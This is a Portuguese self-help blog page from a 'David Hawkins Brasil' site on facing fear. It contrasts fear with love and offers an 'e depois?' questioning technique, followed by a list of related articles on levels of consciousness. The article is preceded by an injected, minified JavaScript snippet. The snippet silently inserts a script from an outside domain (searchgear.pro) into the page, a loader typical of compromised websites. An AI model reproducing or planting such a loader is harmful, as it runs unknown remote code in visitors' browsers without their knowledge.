;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Medo: Uma Técnica Simples para Enfrentá-lo! - David Hawkins Brasil
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Enfrentando o medo – com base em Dr. David Hawkins

Enfrentando o medo nos mantemos presentes para sairmos do ciclo de incertezas supostas do futuro e traumas lembrados do passado.

O núcleo dos nossos sentimentos negativos é o medo.

Existe uma infinidade de desdobramentos desse sentimento que rotulamos como outros sentimentos, mas que nada mais são do que suas ramificações.

Como fazer para enfrentá-lo?

Tememos:

  • da dor e sofrimento,
  • de viver,
  • de amar,
  • da intimidade,
  • da rejeição,
  • do fracasso,
  • de Deus e do inferno,
  • da condenação,
  • da pobreza,
  • do ridículo e inadequação
  • da crítica e desaprovação,
  • de ser preso,
  • do perigo,
  • do tédio,
  • da responsabilidade,
  • de tomar decisão.

E ainda, outros temores diversos: das autoridades, do castigo, da mudança, da perda de segurança, da violência, de perder o controle, dos próprios sentimentos, de manipulação, de ser descoberto, de altura, do sexo, de sentir culpa, de sermos independentes e termos responsabilidades.

E, por fim, medo do próprio medo.

Quando percebemos que o medo está por trás de toda e qualquer uma de nossas emoções negativas, temos a opção de encará-lo para vencê-lo.

Coragem e destemor não são a ausência de medo, mas a capacidade de sobrepujá-lo, de enfrentá-lo, de transcendê-lo.

O maior antídoto do medo é o amor.

Onde há amor, não pode existir medo.

Se há medo no amor, este amor não é completo, não é pleno.

O amor permite onde o medo limita. O amor aceita enquanto o temor rejeita.

Amor inclui, medo exclui. Amor é cura, medo é doença.

O amor está na presença, no aqui e agora. Já o temor se sustenta na ausência, visitando passado e futuro na mente. Medo é:

  • Tensão. Amor se manifesta como atenção (ausência de tensão).
  • Condicional. O amor se ocupa enquanto o medo se pré-ocupa.
  • Ausência de amor. Amor é incondicional, é a ausência de medo.

Assim, quando se sente amor, não se sente temor. Quando se sente medo não se sente amor. Ambos sentimentos são opostos e complementares:

  • Limitar e proteger uma pessoa de experimentar a vida. Orientá-la e permitir que ela descubra por si só é amor.
  • Recusar a ajudar. Se dispor a ensinar é amor.
  • Proteger. Companhia é amor.
  • Proibir. Permissão é amor.
  • Limitar. Liberdade é amor.
  • Impor. Convite para mudança é amor.
  • Resistir. Aceitação é amor.

Dessa forma, quando identificarmos o medo sob nossas atitudes ou pensamentos, temos a opção de rendê-lo ao amor.

Às vezes, isso parece não ser suficiente e ele parece voltar ou retornamos a agir como antes.

Podemos então ir ainda mais fundo e entender esse sentimento com maior profundidade, escondido por trás do medo superficial que identificamos de início.

Uma técnica simples para identificar a raiz desse sentimento.

Uma técnica simples é chamada “e depois?”.

Comece identificando cada um deles.

Em seguida, se desenrola a hipótese do que tememos realmente acontecer, perguntando na sequência “e depois?”.

Conforme as perguntas vão se aprofundando, percebemos que todos vão terminar no medo da morte. Por exemplo:

  • Estar depressivo por não conseguir o que quer, se frustrar e poder ter vontade de tirar sua própria vida.
  • Se sentir com vergonha por estar errado e preferir a morte do que encarar a situação de frente. A morte emocional (da vaidade) que pode se desdobrar na morte física (do corpo).

E o que acontece quando olhamos para esse sentimento?

Quando nos propomos a encarar o temor da morte física e aceitar que ela é um fato deste mundo material, começamos a cada vez mais vencer os medos subjacentes que se escondem embaixo de suas asas e se manifestam em nosso cotidiano.

Então, a partir dessa capacidade de observar e aceitar as possibilidades e hipóteses que a mente cria, sem resistência, nos tornamos livres para sermos quem somos.

Em seguida, os medos começam a ruir, um por um até que nos disponhamos a escolher ser completamente libertos, o que é chamado de Iluminado pelas filosofias orientais ou Sãos pelas filosofias ocidentais.

  • Iluminado significa aquele que não tem mais sombras, medos.
  • São é aquele que não tem mais doenças emocionais, medos.

A decisão entre o céu e o inferno é feita a cada instante, aqui e agora, e não ao final da vida.

Ou seja, basta observarmos o que escolhemos sentir a cada momento:

  • Emoções negativas: rejeição, exclusão, negação, resistência, ilusão, orgulho, medo,
  • Sensações positivas: permissão, inclusão, aceitação, desapego, verdade, humildade, amor.

Dessa forma, a somatória de decisões entre viver emocionalmente no céu ou no inferno, a cada momento, dita o nosso destino espiritual, tanto durante a vida quanto após a morte.

O que você escolhe? E quando você escolhe?

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

Por David Hawkins Brasil

Comunidade oficial no Brasil

18 respostas em “Enfrentando o medo – com base em Dr. David Hawkins”

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